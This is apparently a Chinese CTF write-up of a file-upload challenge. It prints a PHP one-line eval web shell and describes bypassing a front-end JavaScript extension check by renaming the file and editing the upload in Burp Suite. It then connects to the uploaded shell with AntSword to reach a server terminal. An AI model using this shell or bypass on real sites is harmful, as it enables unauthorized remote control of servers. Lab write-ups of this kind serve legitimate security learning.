首页 > 技术文章 > 攻防世界 上传一句话木马

ctfliar 2020-12-17 19:05 原文

这道题首先是检查出上传图片之后回响十分快,

所以的话有理由相信这就是js前端过滤

之后查看源代码

发现的确是在前端就进行了过滤,只允许上传  jpg  png 

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。下面是常识好吧。。。。。。

前端过滤的常见方法::

1、filter():数组的过滤器方法

2、Object.keys():es6提供的方法,用来获取对象键值对的键的集合

3、every():数组的every方法,因为检查数组内的所有元素是否都满足 某一条件,如果都满足返回true,.如果有一项元素不满足就返回false。

4、includes():es7中提供的新方法,用于检测某字符串中是否包含给定的值,如果有返回true,没有返回false,数组中也有该方法

//假设后端通过接口给我们的数据如下:  下面是一个例子
let data = [ {
name: 'Andy',
age: 13
}, {
name: 'Jack',
age: 14
}, {
name: 'Lucy',
age: 12
} ]
//在实际项目中,我们需要根据筛选框中的条件来实现数据的过滤,下面为过滤方法:
//@param condition 过滤条件
//@param data 需要过滤的数据
let filter=(condition,data)=>{
return data.filter( item => {
return Object.keys( condition ).every( key => {
return String( item[ key ] ).toLowerCase().includes( 
String( condition[ key ] ).trim().toLowerCase() )
} )
} )
}
//假设选择的条件为name中带字母a的元素
var condition={name:'a'}
filter(condition,data) //[ {name: 'Andy',age: 13},{name: 'Jack',age: 14}]

//假设选择的条件为name中带字母a,而且age为13的元素
var condition={name:'a',age:13}
filter(condition,data) //[ {name: 'Andy',age: 13}]

相当于是函数的使用一样了吧,,filter()     个人感觉是这样的

 

 

首先是上传一句话木马,

 <?php @eval($_POST['attack']) ?>

审计代码知道只能是上传 png j什么的格式
之后就是把写好的一句话木马改后缀成png
然后上传
打开代理,使用 burpsuit 抓包,,,,这里的话一定要注意代开burpsuit的开关在上传,不要弄错,不然的话会抓到错误的包
正确的包应该是有文件名和文件类型的

 

 

 

一定要是这样的才行,之后就是把文件的后缀改成php这样就可以实现文件的绕过

 

算了我现在还不知道为什么要这样做,,,,,,不过就是跟着做而已

下面是参考的两篇博客::::

https://blog.csdn.net/weixin_47982238/article/details/108953680

这是我参考做出来的博客链接,,,,

做的时候有两个要点:::;

首先是在burpsuit里面会返回一个文件,,,之后使用中国蚁剑连接的是返回加上那个文件的url,,不是之前原来的网页的url

第二点是使用中国蚁剑的时候不能连校园网,这样的话打开不了文件管理,有时侯还连不上,保存之后就是直接接右键文件管理(添加成功之后),或者是直接双击打开,,,,,就是这样了。。

 

 1.1这里选择后缀名为php的文件,发现浏览器很快就做出反应了,ctrl+u看下网页源代码,(可能是js前端的过滤,因为反应太快了);

 

 果然是前端js过滤了,只允许后缀为jpg和png的文件上传;

1.2解决办法:先准备好含有一句话木马的php文件,密码为zxc(zxc可以自己随意设置的,用于蚁剑连接的暗号)

 

 1.3把该文件后缀名改为png

 

 1.4设置火狐本地代理,我这里用的是一个代理插件ProxySwitcheroo(可到火狐扩展模块自己下载)

1.4.1设置Burp代理,开启代理

 

 

 

 1.5选择改好的木马图片,点击上传 burp就会拦截到

 

 1.6把1.png改为1.php就可以点击Forward发送出去啦

 

 1.7浏览器就返回上传成功以及上传后的文件路径

 

 此时文件路径为:http://220.249.52.133:51277/upload/1596437999.1.php

1.8打开蚁剑连接服务器,密码为zxc 

 

 1.9双击进入虚拟终端

 

 

 

推荐阅读